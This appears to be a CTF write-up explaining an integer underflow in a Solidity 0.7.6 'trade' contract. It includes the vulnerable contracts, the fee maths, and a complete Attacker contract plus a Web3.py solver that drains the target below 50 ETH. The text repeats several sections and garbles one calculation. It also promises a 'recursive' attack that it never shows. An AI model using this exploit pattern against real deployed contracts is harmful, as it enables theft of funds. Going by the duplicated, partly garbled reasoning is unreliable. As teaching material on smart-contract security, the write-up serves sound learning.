Skip to main content

Command Palette

Search for a command to run...

Exploiting Integer Underflows in Solidity

Updated
11 min read
Exploiting Integer Underflows in Solidity

In the world of blockchain security and Capture The Flag (CTF) challenges, vulnerabilities in smart contracts often stem from subtle arithmetic issues, especially in older Solidity versions (pre-0.8.0), where unchecked operations could lead to overflows and underflows. This technical blog post dissects a real-world-inspired CTF challenge involving an "exchange" contract. We'll cover everything from contract analysis to vulnerability identification, exploit mechanics, mathematical derivations, and an optimised recursive attack that minimises the attacker's initial capital. By the end, you'll understand how to spot and exploit integer underflows in Solidity.

This post assumes familiarity with Solidity basics, Ethereum Virtual Machine (EVM) behaviour, and tools like Web3.py for interaction. All code is provided for reproducibility.

The Challenge Setup

The challenge consists of two contracts: Setup and Chal. The Setup contract deploys Chal, funds it with 100 ETH, and defines the win condition: drain the Chal contract's balance below 50 ETH.

Setup Contract Code

pragma solidity ^0.7.6;
import "./Chal.sol";

contract Setup {
    Chal public TARGET;

    constructor() payable {
        // Create the challenge contract
        TARGET = new Chal();

        // Require 100 ether to be sent during deployment
        require(msg.value == 100 ether, "Must send 100 ether");

        // Send all the ether to the challenge contract
        payable(address(TARGET)).transfer(100 ether);
    }

    function isSolved() public view returns (bool) {
        // Challenge is solved if the TARGET contract has less than 50 ether
        return address(TARGET).balance < 50 ether;
    }
}
  • Key Points:

    • constructor(): Deploys Chal and transfers 100 ETH to it. This ensures the challenge starts with a funded contract.

    • isSolved(): A simple view function checking if Chal's balance is below 50 ETH (50 * 10^18 wei). This is the flag condition.

Challenge Contract Code

pragma solidity ^0.7.6;

contract Chal {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // Accept ether
    receive() external payable {}

    // Trade function
    function trade() external payable {
        uint256 amount = msg.value;
        require(amount >= 3 ether, "You must trade at least 3 ETH");
        uint256 balanceBeforeDeposit = address(this).balance - msg.value;
        uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000;
        uint256 maximumReturn = 150 ether;
        uint256 outputAmount = amount * 9 / 10 - fee;
        if (outputAmount > maximumReturn) {
            outputAmount = maximumReturn;
        }
        payable(msg.sender).transfer(outputAmount);
    }

    // Get balance
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
  • Key Points:

    • constructor(): Sets the owner to the deployer (in this case, Setup).

    • receive(): Allows the contract to accept ETH via plain transfers.

    • trade(): The core function. It simulates a "trade" where you send ETH (msg.value >= 3 ETH), a fee is calculated, and you get back 90% of your amount minus the fee, capped at 150 ETH.

    • getBalance(): A view function to check the contract's ETH balance.

The trade() function looks like a simple exchange with a fee based on the contract's prior balance and your excess amount (beyond 3 ETH). But as we'll see, it's riddled with vulnerabilities due to integer arithmetic in Solidity ^0.7.6.

Vulnerability Analysis: Integer Underflow in Fee Calculation

Solidity versions before 0.8.0 do not have built-in overflow/underflow checks. Arithmetic operations wrap around on underflow (e.g., 0 - 1 = 2^256 - 1).

Breaking Down trade()

  1. Input Validation:

    • amount = msg.value

    • require(amount >= 3 ether): Ensures minimum trade size.

  2. Balance Calculation:

    • balanceBeforeDeposit = address(this).balance - msg.value

      • This subtracts the incoming msg.value to get the balance before the call. This is correct because address(this).balance includes msg.value during the call.
  3. Fee Calculation:

    • fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000

      • (amount - 3 ether): Excess amount beyond the minimum.

      • (balanceBeforeDeposit / 1 ether): Scales the balance in ETH units (integer division, so 100 ether / 1 ether = 100).

      • Multiplied by 6/1000: A 0.6% fee scaled by excess and prior balance.

      • No overflow checks: Multiplications can overflow if numbers are large.

  4. Output Calculation:

    • outputAmount = amount * 9 / 10 - fee

      • 90% of the input minus the fee.

      • Critical Vulnerability: If fee > amount * 9 / 10, this underflows to a huge number (2^256 - small value).

    • Cap: if (outputAmount > 150 ether) outputAmount = 150 ether

      • If underflow occurs, outputAmount is huge, so it gets capped at 150 ETH.
  5. Transfer:

    • payable(msg.sender).transfer(outputAmount)

      • Sends the computed amount back. If the contract doesn't have enough, it reverts (but in our exploit, we'll ensure it does).

The Underflow Trigger

The underflow happens in outputAmount = amount * 9 / 10 - fee when fee > amount * 9 / 10.

To trigger:

  • Inflate balanceBeforeDeposit by sending extra ETH before calling trade().

  • Choose amount such that the fee calculation makes fee just large enough to underflow.

Let's derive the math.

Let:

  • ( A = amount ) (in wei, but we'll use ETH for simplicity)

  • ( B = balanceBeforeDeposit / 1e18 ) (in ETH units)

  • Fee = (A - 3) * B * 6 / 1000

  • ReturnBase = A * 0.9

  • Output = ReturnBase - Fee

For underflow: Fee > ReturnBase

So: (A - 3) * B * 6 / 1000 > A * 0.9

Simplify (assuming ETH units): (A - 3) * B * 0.006 > 0.9 A

Divide both sides by 0.006: (A - 3) * B > 150 A

B > 150 A / (A - 3)

We need the smallest A >= 3 for which we can choose B (by sending extra ETH) to satisfy this.

Also, after underflow, output caps at 150 ETH, so we want to drain as much as possible.

Finding Optimal Values

Initial Chal balance: 100 ETH.

To set B:

  • Send X ETH via plain transfer: Chal balance = 100 + X

  • Then call trade(A): During call, balance = 100 + X + A, so balanceBeforeDeposit = 100 + X

  • B = (100 + X) (since /1e18, but in ETH units)

We need B > 150 A / (A - 3)

For minimal capital (X + A), solve for integer A >=3 where underflow happens and drain > input.

Example: Try A=24 ETH

  • 150 * 24 / (24-3) = 3600 / 21 ≈ 171.428

  • So B >= 172

  • X = 172 - 100 = 72 ETH

  • Total sent: 72 + 24 = 96 ETH

Now compute fee:

  • Excess = 24-3=21

  • Fee = 21 * 172 * 6 / 1000 = 21 * 172 * 0.006 = 21.672 ETH

  • ReturnBase = 24 * 0.9 = 21.6 ETH

  • 21.6 - 21.672 = -0.072 → underflow to HUGE number

  • Cap to 150 ETH

During the tx:

  • Chal starts at 100

  • Send 72 → 172

  • Send 24 → temp 196

  • Transfer 150 back → Chal ends at 196 - 150 = 46 ETH <50 → Solved!

Net profit: 150 received - 96 sent = +54 ETH (plus Chal drained below 50).

Why 172? Because 171: Fee=211716/1000=21.546, 21.6-21.546=0.054>0, no underflow.

This works with 96 ETH initial.

Introduction to the Challenge

The challenge is a simple "exchange" contract (Chal) funded with 100 ETH by a Setup contract. The goal is to drain the Chal contract's balance below 50 ETH, as checked by Setup.isSolved().

Key concepts:

  • Solidity 0.7.6 Behaviour: No automatic overflow/underflow protection. Subtraction underflow wraps around (e.g., 0 - 1 = 2^256 - 1).

  • EVM Execution: Contract balances include msg.value during calls, and transfer() reverts if insufficient funds.

  • Exploit Type: Integer underflow in payout calculation, leading to a capped "overpayout" that drains the contract.

  • Initial Capital: The exploit requires 96 ETH from the attacker (72 ETH extra + 24 ETH trade), but returns 150 ETH, netting a profit while solving the challenge.

We'll use an attacker contract to execute the drain in one transaction.

Contract Analysis

Let's examine the code line by line.

The Setup Contract

The Setup contract deploys and funds Chal.

pragma solidity ^0.7.6;
import "./Chal.sol";
contract Setup {
    Chal public TARGET;
    constructor() payable {
        TARGET = new Chal();
        require(msg.value == 100 ether, "Must send 100 ether");
        payable(address(TARGET)).transfer(100 ether);
    }
    function isSolved() public view returns (bool) {
        return address(TARGET).balance < 50 ether;
    }
}
  • constructor():

    • Deploys Chal.

    • Checks that 100 ETH is sent during deployment.

    • Transfers the 100 ETH to Chal.

  • isSolved(): Returns true if Chal's balance is less than 50 ETH (50 * 10^18 wei). This is the win condition, queried after the exploit.

The Vulnerable Challenge Contract

The contract simulates an ETH trade with a fee and payout.

pragma solidity ^0.7.6;
contract Chal {
    address public owner;
    constructor() {
        owner = msg.sender;
    }
    receive() external payable {}
    function trade() external payable {
        uint256 amount = msg.value;
        require(amount >= 3 ether, "You must trade at least 3 ETH");
        uint256 balanceBeforeDeposit = address(this).balance - msg.value;
        uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000;
        uint256 maximumReturn = 150 ether;
        uint256 outputAmount = amount * 9 / 10 - fee;
        if (outputAmount > maximumReturn) {
            outputAmount = maximumReturn;
        }
        payable(msg.sender).transfer(outputAmount);
    }
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
  • constructor(): Sets owner to the deployer (Setup).

  • receive(): Enables receiving ETH via plain transfers (key for inflating the balance).

  • trade(): The vulnerable function.

    • amount = msg.value: Input ETH.

    • require(amount >= 3 ether): Minimum trade.

    • balanceBeforeDeposit = address(this).balance - msg.value: Computes pre-call balance. Note: address(this).balance includes msg.value, so this is the balance before the call.

    • fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000:

      • (amount - 3 ether): Excess over minimum.

      • (balanceBeforeDeposit / 1 ether): Pre-balance in whole ETH (integer division).

        • 6 / 1000: 0.6% fee rate.
      • All uint256, integer arithmetic.

    • outputAmount = amount * 9 / 10 - fee: 90% of input minus fee. Vulnerability here: If fee > 90% of amount, underflows to a large number.

    • Cap to 150 ETH if too large (which it will be after underflow).

    • transfer(outputAmount): Sends back the amount. Reverts if insufficient balance.

  • getBalance(): Views contract balance.

Underflow in outputAmount

The core issue is in outputAmount = amount * 9 / 10 - fee.

If fee > amount * 9 / 10, subtraction underflows to a large value (2^256 - (fee - amount*0.9)).

Then, the cap sets it to 150 ETH, allowing us to receive 150 ETH back for a small input.

To make the fee large, inflate balanceBeforeDeposit it by sending extra ETH before calling trade().

Let:

  • a = amount / ether (e.g., 24)

  • b = balanceBeforeDeposit / ether (initial 100, but we inflate)

  • fee (in ether) ≈ (a - 3) * b * 0.006

  • return_base ≈ a * 0.9

For underflow: (a - 3) * b * 0.006 > a * 0.9

b > (a * 0.9) / 0.006 / (a - 3) = 150 * a / (a - 3)

b >= floor(150 * a / (a - 3)) + 1 (for exact integer)

To inflate b to the required, send x = b - 100 ETH extra.

Total cost: x + a = [150 * a / (a - 3) + 1 - 100] + a

To minimise total, from the calculation, the minimum is 96 ETH at a=22 to 27 or so.

We use a=24, b=172, x=72, total=96.

Exact calculation (in wei for precision):

excess = (24 - 3) * 10^18 = 21e18

return_base = 24e18 * 9 // 10 = 21.6e18

fee = 21e18 * 172 * 6 // 1000 = 21.672e18

21.6e18 - 21.672e18 = underflow to (2^256 - 0.072e18)

Cap to 150e18.

Workflow of the Exploit

  1. Challenge starts with 100 ETH.

  2. Send 72 ETH extra (plain transfer): Chal = 172 ETH.

  3. Call trade{value: 24 ETH}: Temp balance = 196 ETH, balanceBeforeDeposit = 172 ETH.

  4. Fee = 21.672 ETH, outputAmount underflows, caps to 150 ETH.

  5. Transfer 150 ETH back: Chal = 196 - 150 = 46 ETH < 50.

  6. Solved!

Note: Transfer succeeds because 196 >= 150.

Attacker Contract

We use an attacker contract to send extra and trade in one tx.

pragma solidity ^0.7.6;

interface Chal {
    function trade() external payable;
}

contract Attacker {
    Chal public target;

    constructor(Chal _target) {
        target = _target;
    }

    function attack(uint256 extra, uint256 tradeAmount) external payable {
        // Send extra to inflate balanceBeforeDeposit
        payable(address(target)).transfer(extra);
        // Trigger trade
        target.trade{value: tradeAmount}();
    }

    receive() external payable {}
}
  • constructor: Sets the target Chal address.

  • attack: Sends extra ETH, then calls trade.

  • receive: Allows receiving the drained ETH.

Solver Script

This script connects to a custom RPC, deploys the attacker, executes the exploit, and verifies.

Assume .env with RPC_URL, PRIVATE_KEY, SETUP_ADDRESS, CHAIN_ID.

import os
import json
from web3 import Web3
from solcx import compile_source
from dotenv import load_dotenv

load_dotenv()

RPC_URL = os.getenv("RPC_URL")
PRIVATE_KEY = os.getenv("PRIVATE_KEY")
SETUP_ADDRESS = os.getenv("SETUP_ADDRESS")
CHAIN_ID = int(os.getenv("CHAIN_ID", 31337))

w3 = Web3(Web3.HTTPProvider(RPC_URL))

if not w3.is_connected():
    raise RuntimeError("Failed to connect to RPC")

account = w3.eth.account.from_key(PRIVATE_KEY)
print(f"[+] Attacker address: {account.address}")
print(f"[+] Balance: {w3.from_wei(w3.eth.get_balance(account.address), 'ether')} ETH")

SETUP_ABI = [
    {"inputs": [], "name": "TARGET", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},
    {"inputs": [], "name": "isSolved", "outputs": [{"type": "bool"}], "stateMutability": "view", "type": "function"}
]
setup = w3.eth.contract(address=SETUP_ADDRESS, abi=SETUP_ABI)
chal_addr = setup.functions.TARGET().call()
print(f"[+] Chal address: {chal_addr}")

with open("Attacker.sol", "r") as f:
    attacker_source = f.read()

compiled = compile_source(attacker_source, output_values=["abi", "bin"], solc_version="0.7.6")
contract_id, contract_info = list(compiled.items())[0]
ATTACKER_ABI = contract_info['abi']
ATTACKER_BYTE = contract_info['bin']

AttackerFactory = w3.eth.contract(abi=ATTACKER_ABI, bytecode=ATTACKER_BYTE)

deploy_txn = AttackerFactory.constructor(chal_addr).build_transaction({
    "from": account.address,
    "nonce": w3.eth.get_transaction_count(account.address),
    "gas": 3_000_000,
    "gasPrice": w3.eth.gas_price,
    "chainId": CHAIN_ID
})
signed = account.sign_transaction(deploy_txn)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
attacker = w3.eth.contract(address=tx_receipt.contractAddress, abi=ATTACKER_ABI)
print(f"[+] Attacker deployed at: {attacker.address}")

extra_wei = 72 * 10**18
trade_wei = 24 * 10**18
total_wei = extra_wei + trade_wei

attack_txn = attacker.functions.attack(extra_wei, trade_wei).build_transaction({
    "from": account.address,
    "value": total_wei,
    "nonce": w3.eth.get_transaction_count(account.address),
    "gas": 2_000_000,
    "gasPrice": w3.eth.gas_price,
    "chainId": CHAIN_ID
})
signed = account.sign_transaction(attack_txn)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
w3.eth.wait_for_transaction_receipt(tx_hash)

final_balance = w3.eth.get_balance(chal_addr) / 10**18
solved = setup.functions.isSolved().call()

print(f"[+] Final Chal balance: {final_balance} ETH")
print(f"[+] Solved? {solved}")
  • Configuration: Loads from .env.

  • Connection and Account: Connects to RPC, loads private key.

  • Load Setup: Gets Chal address.

  • Compile and Deploy Attacker: Uses solcx to compile on-the-fly.

  • Execute Attack: Sends 96 ETH with the call.

  • Verify: Checks balance and isSolved.

Conclusion

This exploit demonstrates the dangers of unchecked arithmetic in legacy Solidity. By inflating the balance and triggering an underflow, we drain the contract below 50 ETH in one transaction. Always use Solidity 0.8+ with checked math or SafeMath for safety.

References:

This technical write-up is co-crafted with Grok